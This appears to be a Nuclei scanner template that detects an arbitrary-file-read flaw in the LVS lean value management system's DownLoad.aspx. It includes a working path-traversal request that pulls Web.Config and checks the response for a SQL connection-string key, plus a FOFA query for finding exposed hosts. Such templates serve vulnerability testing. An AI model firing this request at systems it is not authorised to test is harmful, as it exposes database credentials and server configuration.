id: lvs-download-lfi

info:
  name: LVS DownLoad.aspx - Local File Inclusion (LFI)
  author: pussycat0x
  severity: high
  description: |
    LVS lean value management system DownLoad.aspx has an arbitrary file reading vulnerability.
  reference:
    - https://github.com/wy876/POC/blob/main/LVS%E7%B2%BE%E7%9B%8A%E4%BB%B7%E5%80%BC%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FDownLoad.aspx%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md#lvs%E7%B2%BE%E7%9B%8A%E4%BB%B7%E5%80%BC%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9Fdownloadaspx%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
  tags: lvs,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Business/DownLoad.aspx?p=UploadFile/../Web.Config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<configuration>'
          - '<appSettings>'
          - '<add key="SqlConnString"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/ms-excel'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205a4c63a2265cca26088f0ff88b2c6564bb2286a85f0665e9f64432670d3480aa022100e79741e6c818b13b90eb3db868bbbe0e7de569555d8d39111814566b8a1373a0:922c64590222798bb761d5b6d8e72950